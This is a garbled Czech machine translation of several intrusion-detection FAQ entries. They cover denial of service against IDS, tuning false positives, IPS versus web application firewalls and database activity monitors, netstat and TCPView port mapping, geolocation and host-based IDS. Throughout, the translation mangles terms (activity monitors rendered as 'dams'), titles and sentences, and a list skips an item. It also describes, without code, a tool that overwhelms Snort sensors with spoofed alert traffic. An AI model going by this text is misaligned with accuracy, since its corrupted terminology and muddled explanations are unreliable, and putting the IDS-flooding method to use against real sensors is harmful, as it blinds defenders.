Ačkoliv popření servisních útoků jsou obvykle spojeny s jednotlivými stroji či sítí, je také možné uplatnit popření servisních technik proti systémech detekce narušení podpis založen. Jerry Marsh uvádí jednu takovou možnou techniku v článku napsal:

mnoho systémů Nids pracují tím, že upozorní někoho, u nichž existuje podezření činy se dějí. Jak bylo prokázáno v Monterey SANS konferenci v říjnu 2000, toto může být zmařen zahlcení informacemi. V tomto příkladu je útočník vytvořil tolik "šum" útok pokusy, které lidé dívají na útoky byly přetížené. Skutečný útok byl injikován ve středu hluku a dokončena před tím, než by mohlo být stanoveno, co je skutečný cíl byl.

To je jen jeden způsob provádění odmítnutí služby útoku na detekce narušení systému.

Další možný způsob, kterým se provádí odmítnutí služby proti IDS by vyčerpat prostředky tohoto IDS. Toto odmítnutí služby zaplaví IDS s provoz, který bude generovat upozornění, dokud IDS dojdou zdroje. To by způsobilo IDS mají neúplný záznam událostí, které se odehrály. Zde je příspěvek autora, který tvrdí, že napsal nástroj pro automatické přemoci IDS systémy.

Tento nástroj používá pravidlo Snort nastavit a vytváří program v jazyce C přes Lex, že při kompilaci bude vyrábět IP paket schopen spustit toto pravidlo z falešnou IP rozsahu (nebo všech možných adres IP) do cílového rozsahu IP adres. Funkce se vyrábí pro každé pravidlo a smyčka pak provede tato pravidla v náhodném pořadí. Nástroj se v současné době vyrábí tyto na asi 250 alarmů za sekundu. Linux snort založená zasáhne 100% CPU a začít svržení pakety. Důraz na nahrávání a disku IO je další problém. ISS RealSecure umírá dvě sekundy po začátku útoku. Tento test byl proveden několikrát. Ostatní IDS a dokonce štěnicemi (zejména s vyhledávání DNS) měl problémy s jejich vlastní.

Závěr
Přestože podpis založený IDS poskytují užitečnou službu, aby správce ví, že on / ona byla nebo je napaden neměly by se na ně spoléhat. Je to příliš snadné oklamat nebo vypnout libovolný stroj IDS dolů, aby mohly být využity jako primární linii obrany proti narušiteli. Některá doporučení, které byly dány Lawrence R. Halme a R. Kenneth Bauer ve svém článku "Aint nechová: taxonomie Anti-Intrusion technikami" použít následující postupy v souvislosti s detekce narušení:

Detekce narušení bezpečnosti by měly být součástí obrany v hloubce strategii a žádný jednotlivý nástroj nebo technologie by měla být spoléhat výhradně.

Odkazy
[1] Srisuresh, P. a M. Holdrege. "IP Network Address Translator (NAT) Terminologie a úvahy." RFC 2663. 08. 1999.http://www.geektools.com/rfc/rfc2663.txt (20.března 2001)

[2] "Co je Snort."http://www.snort.org/what_is_snort.htm (2 Apr. 2001)

[3] Lemos, Robert. "Nová pláštích kódu hrozbu pro bezpečnost." 2.4.2001.http://www.zdnet.com/zdnn/stories/news/0,4586,5080532,00.html (3 Apr. 2001)

[4] Marsh, Jerry. "Mýty manažeři věří o bezpečnosti." 25.ledna 2001.http://www.sans.org/infosecFAQ/start/myths.htm (02.04.2001)

[5] Giovanni, Cortez. "Zábava s pakety: Navržení Stick".http://www.eurocompton.net/stick/ (2 Apr. 2001)

[6] Halme, Lawrence R. a Bauer, R. Kenneth. "Aint nechová: taxonomie Anti-Intrusion techniky."http://www.sans.org/resources/idfaq/aint.php (02.04.2001)

[7] Vysílání na uživatelích, kteří Snort e-mailové konference o Cortez Giovanni.

Co bych měl udělat, aby zmírnit falešných poplachů?

Falešně pozitivních musí být zmírněna co nejvíce, zatímco ještě ne vytvářet nové falešně negativní.

Pár kroků, které budou výrazně snížit počet falešných poplachů jsou následující:

1. Zakázat pravidla, která nejsou ve vztahu k danému prostředí. Například, pokud nechcete spustit serveru Apache není důvod dávat pozor na útoky proti Apache.

2. Při použití detekce anomálií IDS být jisti, rekvalifikaci pro nové aplikace podle potřeby.

4. Když pravidla nelze upravovat, vytvářet těsné obcházet pravidla, která umožňují legitimní provoz projít bez vyvolání upozornění.

5. U pravidel, která jsou situační, být jisti, že jsou povoleny pouze tehdy, pokud jsou relevantní. Například NBT provoz v prostředí Windows LAN je normální přesto, stejný příchozí provoz z internetu nemusí být normální.

Jaké jsou rozdíly mezi síťovými detekci a prevenci proti průnikům do sítě?

Intrusion Detection System se pak pokouší odhalit neoprávněné a neobvyklou aktivitu sledováním paketů pojezdová dané síti. systém prevence průniku do toho se schopností blokovat nebo odmítnout pakety, které odpovídají konkrétní podpis nebo chování. Aby to bylo efektivní, systém prevence průniku sedět in-line namísto použití síťového kohout nebo portu rozpětí. V minulosti to byl důvod k obavám z důvodu možného zúžení in-line IPS by mohly způsobit vyplývající z vysokého zatížení nebo selhání hardware / software. V poslední době nárůst propustnosti mnoha IPS zařízení, implementace s vysokou dostupností a bypass zařízení snížilo toto riziko.

Jaké jsou rozdíly mezi hostitelským Intrusion Detection prevenci a hostitelského Intrusion?

Hostitelský Intrusion Detection systémy se snaží odhalit neoprávněné a neobvyklou aktivitu v daném systému. Prevence narušení dává HIDS Agent schopnost blokovat nebo odmítnout konkrétní aplikace, chování a změny v konfiguraci lokálního systému.

Co je Hostitel Intrusion Detection System?

Generál

Hostit detekce narušení založené (HIDS) se týká detekce narušení, která se koná na jednom hostitelském systému. V současné době HIDS zahrnuje instalaci agenta na lokálním počítači, který monitoruje a zprávy o konfiguraci systému a činnosti aplikace. Některé běžné schopnosti HIDS systémů zahrnují analýzu protokolu, korelace události, kontrolu integrity dat, vynucování zásad, detekce rootkitů, a varování ¹ . Často mají také schopnost se do původního stavu hostitelského systému pro detekci změny v konfiguraci systému. Ve specifických implementací prodejců tyto HIDS činidla také umožňuje připojení k jiným bezpečnostním systémům. Například Cisco CSA má schopnost posílat data z počítače proti proudu do sítě Cisco IPS zařízení ² , Checkpoint Integrity lze integrovat s Checkpoint Secure Client (klient VPN) ³ , a IBM Proventia Desktop je Cisco NAC certifikován. ⁴

Prevence narušení HIDS

Většina HIDS balíčky mají nyní možnost aktivně zabránit škodlivým nebo anomální činnost v hostitelském systému. Vzhledem k potenciální dopad to může mít na koncového uživatele, HIDS je často nasazena v "sledovat jen" režim zpočátku. To umožňuje správci vytvořit základní linii konfigurace a činnosti systému. Aktivní blokování aplikací, systémových změn a síťové aktivitě je omezen pouze nejzávažnějších činností. Administrátoři mohou pak naladit politika systém založený na tom, co je považováno za "normální činnost".

Jaký je rozdíl mezi IPS a Web Application Firewall?

Úvod

Jsme všichni trochu obeznámeni s systémů prevence narušení (IPS). Ale co je to za řeči o firewallů pro webové aplikace (WAFS)? Co je to Web Application Firewall a jak se liší od IPS? Za prvé, pojďme se rychle podívat na Intrusion Prevention, jeho výhodách a část krátkodobých příchody. Pak budeme diskutovat o WAFS a jak se liší od a rozšířit IPS.

Systém prevence narušení (IPS)

IPS obecně sedí v řadě a sleduje síťový provoz, protože pakety protékat. Působí podobně jako Intrusion Detection System (IDS), kterou se snaží, aby odpovídaly dat v paketech proti databázi signatur nebo detekci anomálií proti tomu, co je předem definován jako "normální" provoz. Navíc k jeho funkčnosti IDS, IPS umí víc než log a výstrahy. To může být naprogramován tak, aby reagovat na to, co se detekuje. Schopnost reagovat na odhalení je to, co dělá IPS více žádoucí než IDS.

Existují ještě nějaké nevýhody IPS. IPS jsou navrženy tak, aby blokovat určité typy provozu, aby mohl identifikovat jako potencionálně špatnou provoz. IPS nemají schopnost porozumět webový aplikační protokol logiku. Z tohoto důvodu, IPS nemůže plně rozlišit, zda žádost je normální, nebo chybně v aplikační vrstvě (OSI vrstvy 7). Tento krátký příchod by mohl povolit útoky přes bez detekce a prevence, zejména novější útoky bez podpisů.

Být tam je velké množství webových aplikací v existenci, a to jak komerční a domácí pěstují, bude mají tendenci být mnoho různých typů zranitelností k dispozici pro útočníkům zneužít. IPS nemůže účinně pokrýt všechny potenciální slabiny a ve skutečnosti může skončit produkovat víc falešných poplachů. Falešně pozitivních jsou velmi špatné, protože oni dělají již obsazeno bezpečnostní analytici dokonce rušnější. Přetížení falešně pozitivních výsledků může zpozdit reakci na skutečné útoky nebo způsobit útoky, aby se přijal jako normální, protože analytik snaží snížit hluk.

Hostitelské IPSS (HIPS) jsou trochu podrobnější než síťové IPS (NIP). HIPS může sledovat aplikační vrstvy (OSI Vrstva 7), o něco blíže k logice dodané do webové aplikace. Ale HIPS stále postrádá určité pochopení webových aplikačních jazyků a logiku. V reakci na tyto nedostatky jsme představili Web Application Firewall.

Web Application Firewall (WAF)

WAFS jsou určeny k ochraně webových aplikací / serverů před webovými útoky, které IPS nemůže zabránit. Ve stejných považuje za IPS, WAFS může být síť nebo hostitel bázi. Oni sedí v řadě a monitorování dopravy do az webových aplikací / serverů. Zjednodušeně řečeno, rozdíl je v úrovni schopnost analyzovat logiku webové aplikace vrstvy 7.

V případě IPS vyslýchat provoz proti podpisů a anomálií, WAFS vyslýchat chování a logiku toho, co je požadováno a vrátil se. WAFS ochranu proti webové aplikace hrozbám, jako je SQL injection, cross-site scripting, neoprávněným přístupem, parametr nebo URL manipulace a přetečení bufferu. Dělají to stejným způsobem IPS dělá, tím, že analyzuje obsah každého příchozího a odchozího paketu.

WAFS jsou typicky rozmístěny v nějakém proxy módy těsně před webovými aplikacemi, takže nejsou vidět všechny provoz na našich sítích. Na základě sledování provozu dříve, než se dostane do webové aplikace, WAFS lze analyzovat požadavky, než je předají dál. To je to, co jim dává takovou výhodu nad IPS. Vzhledem k tomu, IPS jsou navrženy tak, aby vyslýchat veškerý síťový provoz, nemohou analyzovat aplikační vrstvy důkladně.

WAFS nejen detekovat útoky, které se mohou vyskytnout v aplikačním prostředím internetových, ale také odhalit (a může zabránit) nové neznámé druhy útoků. Tím, že sleduje neobvyklých nebo neočekávaných vzorů v provozu mohou upozornit a / nebo bránit proti neznámými útoky. Pro Příklad-jestliže WAF zjistí, že aplikace se vrací mnohem více dat, než se očekává, může WAF ji zablokovat a upozornit někoho jiného.

Závěr

Webové aplikace Firewally jsou zvláštní druh výrobku používá k detekci útoků na webové aplikace do větší hloubky než jako Prevention System narušení. WAFS lze využít v našich podmínkách poskytnout zvýšenou ochranu webových aplikací / serverů. Použití WAF je dobrý způsob, jak rozšířit naši IPS a poskytují další vrstvu ochrany pro naše obrana do hloubky architektury.

Zdroje

AppliCure Technologies (ND). Role jednotlivých technologií v bezpečnostním prostředí. Citováno zhttp://www.applicure.com/answers/Web_Application_Security/Avoiding-web-attackshttp://whitepapers.techrepublic.com.com/abstract.aspx?docid=295292

Jahchan, GJ. (Nd). Úvod do webových aplikací firewallů. Citováno zhttp://www.infosectoday.com/Articles/Web_Application_Firewalls/Web_Application_Firewalls.htm

Beechey, J. (2009, březen). Webové aplikační firewally: obrana do hloubky pro vaše webové infrastruktury. Citováno zhttp://www.sans.edu/resources/student_projects/200904_01.doc

SecureWorks,. (2009, 20 dubna). SecureWorks, inc. spouští se podařilo webové služby aplikační firewall. Citováno zhttp://www.secureworks.com/media/press_releases/20090420-waf

Jaký je rozdíl mezi IPS a sítě založené Database Activity Monitor?

Úvod

Databáze hrají klíčovou roli v mnoha dnešních korporací. Oni si myslí, důležité informace, že mnoho našich obchodních jednotek spoléhat na provádět spolehlivě a efektivně. Ve věku informací, přežití mnoha korporací závisí na integritu, dostupnost a důvěrnost informací uložených v těchto databázích.

Informace uložené v databázích to vyžadují bezpečnostní opatření nejen být na místě, aby uspokojil interní potřeby, existuje také mnoho regulační požadavky, které musí uspokojující. HIPAA, SOX, PCI, GLBA a další regulační požadavky vyžadují mnoho korporace aplikovat bezpečnostní opatření na ochranu citlivých dat. Navzdory tomu, databáze je stále oblastí, kde chybí ochranná opatření.

V našich celkových bezpečnostních architekturách zařazujeme mnoho opatření na ochranu našich firemních aktiv. Dokonce i se všemi těmito opatřeními na místě jsme ještě ke ztrátě dat. Útočníci mají tendenci k útoku slabých míst v našich architekturách. Databáze jsou jedním z těchto slabších míst. To může být způsobeno tím, že audit a monitoring na databázové servery obvykle vyvolávají velký výkon hit. V mnoha společnostech jsou audit databáze a sledování opatření nebyla realizována z důvodu snížení výkonu.

Korporace spoléhají na dalších bezpečnostních opatření, která zavedly k ochraně svých databází. Intrusion Prevention Systems (IPS) jsou často nasazeny, aby se zabránilo útokům našich aktiv, včetně databázových serverů. IPS to tím, že monitorování síťového provozu pro podpisy nebo anomálie a působí na ty věci, které detekují. Tak proč to není dost dobré? Proč potřebujeme další produkt, Database Activity Monitor, s cílem lépe chránit naše databáze? Co mohou stanovit, že IPS nemůže?

Monitor Aktivita databáze (DAM)

Za prvé, co je databáze Activity Monitor? Přehrady jsou technologie, které byly vytvořeny na pomoc rozšířit naše stávající bezpečnostní architektury tím, že poskytuje pokrytí mezery na našich databází. Přicházejí buď v samostatné hardwarové zařízení nebo softwarový agent, který je naložen na stejném serveru jako databáze. V jakékoli formě, zachycují, log, analyzovat a záznam o porušení zásad, které se vyskytují u Structured Query Language (SQL) v reálném čase. Kromě těchto funkcí, některé implementace mohou mít také preventivní politiky, které zastaví útoky.

Přehrady na bázi sítě jsou podobné IPS v cestě. Oni sedí venku na síti a sledovat síťový provoz, protože je směrován od zdroje k cíli. Ale místo sledování pro jednotlivé podpisy nebo anomálií jako IPS dělá, DAM hledá balíčky obsahující příkazy SQL. Když ji najde, analyzuje logiku SQL, aby se ujistil, že je platný.

Existují dvě hlavní výhody pro síť založenou DAM. Jednou výhodou je, že produkuje žádnou režii na databází nebo databázové servery. Dalším je jeho schopnost být databáze a nezávislé na platformě, je možné sledovat mnoho různých typů databází běžících na různých operačních systémech.

Monitory aktivity databáze se vyznačují oproti ostatním produktů databázového monitoru následujícími rysy:

Tím, že mají schopnost sledovat a porozumět SQL, přehrad mají výhodu oproti IPS. Vzhledem k tomuto zvýšenému SQL znalost přehrady jsou schopny detekovat specifické útoky databáze lépe a přesněji než IPS. Přehrady mohou rozumět komunikaci databáze v obou směrech, což znamená, že může sledovat a filtrovat příchozí dotazy a vyhodnotit odpovědi na tyto dotazy. To jim v podstatě dává dvě šance detekovat nekalými úmysly.

Závěr

Ve strategii ochrany do hloubky, IPS hrají důležitou roli v naší vrstvené bezpečnostní architektury. Ale pokud jde o ochranu databáze IPS není odpovídajícím způsobem sledovat a poskytují kompletní ochranu požadovanou. S různými formami SQL Injection, nulové den, a důvěryhodnými přístup k útokům, potřebujeme něco rozšířit naši IPS. Monitory aktivity databáze jsou jen technologie, jak to udělat.

Přehrady sítě na bázi liší od IPS, protože mají schopnost porozumět SQL logiku žádostí a odpovědí. Přehrady poskytují tuto přidanou technologie k překlenutí mezery, kde IPS nedosahují. A činí tak bez ovlivnění funkce pro naše databází a databázových serverů.

Zdroje

AppliCure Technologies,. (Nd). Role jednotlivých technologií v bezpečnostním prostředí. Citováno zhttp://www.applicure.com/answers/Web_Application_Security/Avoiding-web-attacks.html

Citrix (2007). Zabezpečení aplikací: Proč nejsou dostatečně síťové firewally a systémy prevence narušení. Citováno z

Mikko, C. (2009, 15. květen). V další vrstvu zabezpečení stolních systémů prevence narušení založených na hostiteli. Citováno zhttp://www.productivecorp.com/p-guide/-next-layer-desktop-security-host-based-intrustion-prevention-systems

Sentrigo,. (2007, květen). Need for real-time monitoring databáze, audit a prevenci narušení. Citováno zhttp://www.rad-direct.com/datasheet/whitepaper_database_security.pdf

NitroSecurity (2008). monitorovací činnost databáze. Citováno zhttp://nitrosecurity.com/regulatory-compliance/database-monitoring/

Mapování aktivních portů na odpovídající procesy

Úvod

Naše systémy spustit mnoho procesů (služby a aplikace) na denní bázi. Často tyto procesy jsou určeny pro komunikaci se vzdálenými systémy a spustit jako služby, kteří poslouchají na zadaných portech. V dnešním prostředí počítačů jsou často ponechány zapnuté a připojené k síti po celou dobu.

To vždycky-on mentalita poskytuje nekonečné okno příležitosti k útočníkům využít zranitelnosti v těchto běžících procesů. Proto je pro nás důležité, aby nejen naše systémy oprava, je také důležité, aby se minimalizovalo procesy naslouchající našich systémů. Měli bychom spustit pouze procesy, které jsou nezbytné pro systémy, které fungují jako žádoucí, a zakázat a odinstalovat jiné procesy. Ale jak můžeme říci, jaké procesy jsou porty otevřené a naslouchají na našich systémech?

Příkaz netstat

V systémech, které mají nainstalován protokol TCP / IP (což zahrnuje téměř všechny systémy), je příkaz s názvem Netstat. Netstat je řada spustitelný příkaz, který může být použit k zobrazení různé typy informací o vyšel síťové připojení. Pokud spustit netstat s možností příkazového řádku o "-?" uvidíte, že existují různé argumenty příkazového řádku, které můžete použít ke shromažďování různých informací. Můžeme použít netstat zobrazit seznam aktivních připojení pro našeho systému.

Budeme-li spustit příkaz Netstat z příkazového řádku v systému Windows, dostaneme výsledky podobné následující (výsledky ze systému Windows 7):

Jak můžete vidět, existuje mnoho procesů naslouchají na tomto operačním systému Windows 7. Spuštěním příkazu netstat s "a" volby, jsme vyjmenovat všechny aktivní připojení TCP na TCP a UDP portech. Volba "o" nám dává identifikátor procesu, nebo PID procesu je přiřazen port. A možnost "n" říká netstat nedělat překlad názvů na IP adres nebo portů.

Tato netstat výstup nám dává pět sloupců informací o aktivních připojení:

Podíváme-li se na 22. vstupu naší produkce, vidíme následující položky:

Tento údaj nám říká, máme aktivní TCP spojení z našeho lokálního systému na portu 49177 ke vzdálenému systému s IP adresou 66.35.45.201 na portu 80. Navíc, toto spojení je v současné době stanovena a místní proces s PID 2988 používá spojení.

I když víme PID procesu pomocí tohoto spojení, není nám říci mnohem víc, než je proces, který má aktivní připojení na našem systému. Jak můžeme použít tyto informace k určení více o PID 2988?

Použití Správce úloh, aby lépe identifikovat procesy v rozporu s našimi výsledky Netstat

Nyní, když máme řadu PID, můžeme nahlédnout do procesu, který je spojen s PID. K tomu lze využít vestavěný Správce úloh. Avšak tím, že ve výchozím nastavení Správce úloh nezobrazuje PID. Můžeme stanovit, že s rychlou změnu nastavení.

Otevřete Správce úloh a vyberte záložku "Procesy". Poté klikněte na tlačítko "Zobrazit procesy všech uživatelů" se zobrazí všechny běžící procesy v okně Správce úloh. Budeme muset přidat sloupec "PID (Identifikátor procesu)" k názoru, jak ukazuje níže.

Chcete-li to provést, vyberte "Zobrazit" z nabídky a poté klepněte na tlačítko "Vybrat sloupce". Na "Vybrat produkčních kolon stránka" zkontrolujte, zda je zaškrtnuté "PID (Identifikátor procesu)" pole výběru a potom klepněte na tlačítko OK.

Podíváme-li se ve sloupci "PID", budeme vidět naše PID 2988. Poté se podíváme na "Jméno obrázku" a "Popis" sloupců, můžeme vidět, že se aktivní připojení k síti Internet Explorer.

Nyní, když jsme se podíval na tvrdší cestou kříže odkazování aktivní porty na svých procesů, pojďme se podívat na nástroj, který může pomoci to vše v jednom kroku.

TCPView pro Windows

Systém Windows Sysinternals "guru Mark Russinovich vytvořil velmi užitečný nástroj, mezi mnoha dalšími, které učiní naše práce jednodušší. Nástroj TCPView je GUI program, který poskytuje podobné, ale lepší, informace k tomu Netstat. To bude nejen vám číslo PID procesu vázána na aktivní portu, bude také poskytovat ty "Název obrazu", které najdete ve Správci úloh.

TCPView také zahrnuje řádky programu příkaz, který může výpisu stejné informace jako program grafického uživatelského rozhraní. To je velmi užitečná při provádění Incident Response nebo chcete-li automatizovat audit několika systémů. Příkazový řádek program se nazývá Tcpvcon a má několik argumenty příkazového řádku. Můžete spustit "tcpvcon.exe /?" Z příkazového řádku k zobrazení těchto voleb.

TCPView Výstup

Na našem stejném systému Windows 7 jsme se spustit program Tcpvcon na příkazovém řádku, zatímco zadáním "A", "C" a "n" možnosti. Příkaz nám dává následující výsledky (které může být také propojen do souboru na akcii vzdálené sítě):

TCP svchost.exe, 668, poslechu, 0.0.0.0: 135,0.0.0.0: 0
TCP, System, 4, poslechu, 192.168.56.129: 139,0.0.0.0: 0
TCP, wininit.exe, 392, poslechu, 0.0.0.0:49152,0.0.0.0:0
TCP svchost.exe, 716, poslechu, 0.0.0.0: 49153,0.0.0.0: 0
TCP svchost.exe, 884, poslechu, 0.0.0.0: 49154,0.0. 0,0: 0
TCP, services.exe, 468, poslechu, 0.0.0.0: 49155,0.0.0.0: 0
TCP, lsass.exe, 476, poslechu, 0.0.0.0: 49156,0.0.0.0: 0
TCP, iexplore.exe , 2988, založená, 192.168.56.129: 49158,65.55.17.26: 80

TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49160,204.246.230.80: 80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49161,65.55.15.242: 80
TCP, iexplore.exe, 2988, prokázána, 192.168.56.129: 49162,65.55.149.121: 80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49163,65.55.15.242: 80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49164, 65.55.15.242:80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49167,65.55.15.242: 80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49168,65.55.15.242: 80
TCP, iexplore exe, 2988, ustavený, 192.168.56.129: 49169,65.55.15.242: 80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49172,74.125.95.149: 80

TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49174,204.246.230.113: 80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49175,65.55.149.119: 80
TCP, iexplore.exe, 2988, prokázána, 192.168.56.129: 49177,66.35.45.201: 80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49178,66.35.45.201: 80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49179, 66.35.45.201:80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49180,66.35.45.201: 80
TCP, iexplore.exe, 2988, ustavený, 192.168.56.129: 49181,66.35.45.201: 80
TCP, iexplore exe, 2988, ustavený, 192.168.56.129: 49182,66.35.45.201: 80
TCP, System, 4, poslechu, 0.0.0.0: 445,0.0.0.0: 0

TCP, System, 4, poslechu, 0.0.0.0: 5357,0.0.0.0: 0
UDP, System, 4 *, 192.168.56.129:137,*:*
UDP, System, 4 *, 192.168.56.129:138, *: *
UDP, svchost.exe, 1412, *, 127.0.0.1:1900,*:*
UDP, svchost.exe, 1412, *, 192.168.56.129:1900,*:*
UDP, svchost.exe, 1412, * , 0.0.0.0: 3702, *: *
UDP, svchost.exe, 1412, *, 0.0.0.0:3702,*:*
UDP, svchost.exe, 1164, *, 0.0.0.0:5355,*:*
UDP, svchost.exe, 1412, *, 192.168.56.129:61165,*:*

UDP, svchost.exe, 1412, *, 127.0.0.1:61166,*:*
UDP, iexplore.exe, 2988, *, 127.0.0.1:62646,*:*
UDP, svchost.exe, 1412, * 0.0. 0,0: 64181, *: *
TCPv6, svchost.exe, 668, poslechu, [0: 0: 0: 0: 0: 0: 0: 0]: 135 [0: 0: 0: 0: 0: 0: 0: 0]: 0
TCPv6, System, 4, poslechu, [0: 0: 0: 0: 0: 0: 0: 0]: 445 [0: 0: 0: 0: 0: 0: 0: 0 ]: 0
TCPv6, System, 4, poslechu, [0: 0: 0: 0: 0: 0: 0: 0]: 5357, [0: 0: 0: 0: 0: 0: 0: 0]: 0
TCPv6, wininit.exe, 392, poslechu, [0: 0: 0: 0: 0: 0: 0: 0]: 49152 [0: 0: 0: 0: 0: 0: 0: 0]: 0
TCPv6 , svchost.exe, 716, poslechu, [0: 0: 0: 0: 0: 0: 0: 0]: 49153 [0: 0: 0: 0: 0: 0: 0: 0]: 0
TCPv6, svchost.exe, 884, poslechu, [0: 0: 0: 0: 0: 0: 0: 0]: 49154 [0: 0: 0: 0: 0: 0: 0: 0]: 0

TCPv6, Services.exe, 468, poslechu, [0: 0: 0: 0: 0: 0: 0: 0]: 49155 [0: 0: 0: 0: 0: 0: 0: 0]: 0
TCPv6 , lsass.exe, 476, poslechu, [0: 0: 0: 0: 0: 0: 0: 0]: 49156 [0: 0: 0: 0: 0: 0: 0: 0]: 0
UDPV6, svchost.exe, 1412, *, [0: 0: 0: 0: 0: 0: 0: 1]: 1900 *: *
UDPV6, svchost.exe, 1412, *, [fe80: 0: 0: 0: a49d: 22fc: 6a6: 4daf]: 1900 *: *
UDPV6, svchost.exe, 1412, *, [0: 0: 0: 0: 0: 0: 0: 0]: 3702 *: *
UDPV6, svchost exe, 1412, *, [0: 0: 0: 0: 0: 0: 0: 0]: 3702 *: *
UDPV6, svchost.exe, 1164, *, [0: 0: 0: 0: 0 : 0: 0: 0]: 5355 *: *
UDPV6, svchost.exe, 1412, *, [fe80: 0: 0: 0: a49d: 22fc: 6a6: 4daf]: 61163, *: *
UDPV6, svchost. exe, 1412, *, [0: 0: 0: 0: 0: 0: 0: 1]: 61164, *: *
UDPV6, svchost.exe, 1412, *, [0: 0: 0: 0: 0: 0: 0: 0]: 64182, *: *

Náš výstup je v oddělené čárkou formátu kvůli možnosti "c" jsme zadali. Stejně jako u nás NETSTAT "A" volba umožňuje všechna spojení a možnost "n" říká Tcpvcon, že nebude dělat překlad názvů. Tentokrát výstup z našeho příkazu je zobrazen v šesti sloupců nebo polí, které jsou odděleny čárkou. Zobrazované pole poskytují následující informace v pořadí zobrazené:

Podívejme se na 20. položku v našem seznamu výstupu z příkazu Tcpvcon jsme narazili výše:

Stejně jako dříve, tento údaj nám říká, máme aktivní TCP spojení z našeho lokálního systému na portu 49177 ke vzdálenému systému s IP adresou 66.35.45.201 na portu 80. A toto spojení je v současnosti zřizována a místní proces s PID 2988 je použití připojení. Ale jako bonus, název obrazu procesu (iexplore.exe) je nyní k dispozici.

Zdroje

Microsoft Technet (nd). Netstat. Citováno zhttp://technet.microsoft.com/en-us/library/bb490947.aspx

Co je Geolocation a jak se nevztahuje na detekci Network?

Mechanismy dvoufaktorová autentizace obyčejně kombinovány "něco víte", jako je například přihlašovací nebo přístupové heslo, s druhým prvkem pro zvýšení spolehlivosti ověřování: buď "něco, co máte" (například přístupové karty nebo tokenu) nebo "něco vy jsou "(jako je například biometrických údajů). Doplňkový faktor V poslední době byla přidána do tohoto seznamu k dalšímu obohacení schopnosti autentizace: "Někde jste", jinak známý jako geolokace. Využití tuto funkci v procesu ověřování multi-faktoru, mohou organizace omezit vzdálený přístup pro zaměstnance žijící v blízkosti pracoviště; a s informacemi cestovní plán, mohou dokonce zavedly zvláštní pravidla pro přístup na podporu silniční spojení bojovník.

Lokální adaptace geolokace mohou být implementovány na podporu dvoufaktorovou autentizaci prostřednictvím používání společného znamení používané v podnikovém prostředí: uživatelské přístupové karty. Prostřednictvím radiofrekvenční identifikace (RFID) nebo podobnými technologiemi, pracovní stanice může být nakonfigurován tak, aby pouze umožnit uživateli provádět ověřování na základě hesla, pokud rádiové čidlo pracovní stanice může detekovat blízkost uživatele přiřazené přístupové karty. Tento model lze dále rozšířit: systémy by mohly být nastaven tak, aby akceptovat požadavky na ověření pouze tehdy, pokud tito uživatelé přistupovat budovu zaměstnavatele pomocí ID karty senzory přístupových umístěné u vchodu zaměstnanec konkrétního budovy; Pracovní stanice rádiové senzory ztrácí signál z občanského průkazu zaměstnance by mohlo vést ke zámek obrazovky na pracovní stanici (což by se stalo, kdyby uživatel odešel od svého pracovního stolu). Výzvy k modelu geolokace, například jak zvládnout uživatelům, že zapomněl kartu z datového centra před opuštěním na služební cestě v zámoří, bude důležité překážky pro rychlé zavedení překonat prostřednictvím politik, pomáhají psací stůl, eskalace a další standardní mechanismy obecně umístěte dnes.

Geolocation je termín používaný v informačních systémech bezpečnostních kruzích extrapolovat geografickou polohu předmětu (systém nebo osoba), na základě dostupných informací. Tato schopnost umístění se běžně provádí izolování IP adresu hostitelského systému je z hlavičky paketů, identifikaci vlastníka rozsah IP adres spojené s cílovým systémem, objevovat poštovní adresu majitele a rozbalování dále - s cílem přesném určení fyzické umístění na cílovou IP adresu. Tento aspekt "rozbalování" je kritická, neboť i když vlastník rozsahu IP adres by být umístěny v jedné části světa, základní funkce směrování může mít některý z jednotlivých IP adres v tomto rozsahu dostupné prakticky odkudkoliv. Organizaci, je správce sítě, vyzbrojený aktuální diagramu sítě a možná i několika Network Discovery nástroje, bude pomocný v pomáhání najít uzel zájmu o své síti.

Z pohledu IDS a IPS, schopnost omezit nebo blokovat provoz na základě geolokace může značně zjednodušit práci správce cenného papíru: v případě, že útok síť pochází z určité země, pakety pocházející z IP adres fyzicky nacházejí v této zemi by mohl být souhrnně klesla po dobu v čase, to vše při nadále přijímat provoz z "přátelštější" oblastech. Podobně organizace, které jen podnikají v některých částech světa by mohla nastavit jejich zodpovědnosti, aby vždy klesnout provoz přicházející z oblastí mimo jejich zón zájmu, čímž omezuje jejich potenciální riziko.

Zdroje:

Co je Intrusion Detection?

Intrusion Detection lze definovat jako "... akt odhalování akce, které se pokoušejí narušit důvěrnost, integritu či dostupnost zdrojů."Přesněji řečeno, cílem detekce narušení je identifikovat subjekty, pokoušet se rozvrátit bezpečnostní kontroly na místě.

Založil síť (Network IDS)

Hostitelské Based (HIDS)

Fyzikální (Physical IDS)

Intrusion Prevention

Co je hostitel založené Intrusion Detection?

ID Host-based zahrnuje načítání kus nebo kusy softwaru v systému, který má být monitorován. Vložený software využívá log souborů a / nebo audit agenty systému jako zdroje dat. Naproti tomu na síti ID systém založený monitoruje provoz na svém segmentu sítě jako zdroj dat. Obě sítě založené na a senzorů ID host-based mají výhody a nevýhody, a na konci, budete pravděpodobně chtít použít kombinaci každého z nich. Osoba odpovědná za sledování IDS musí být ve střehu, příslušný správce systému, který je obeznámen s hostitelském počítači, síťová připojení, uživatele a jejich návyky, a veškerý software nainstalovaný na počítači. To neznamená, že on nebo ona musí být odborníkem na samotný software, ale vyžaduje cit pro to, jak se stroj by měl být spuštěn a jaké programy jsou legitimní. Mnoho vloupání byly zadrženy pozorný Sys Admins, kteří si všimli něco "jiného" o svých strojích nebo kteří si všimli uživatel přihlášen v době, atypické pro daného uživatele.

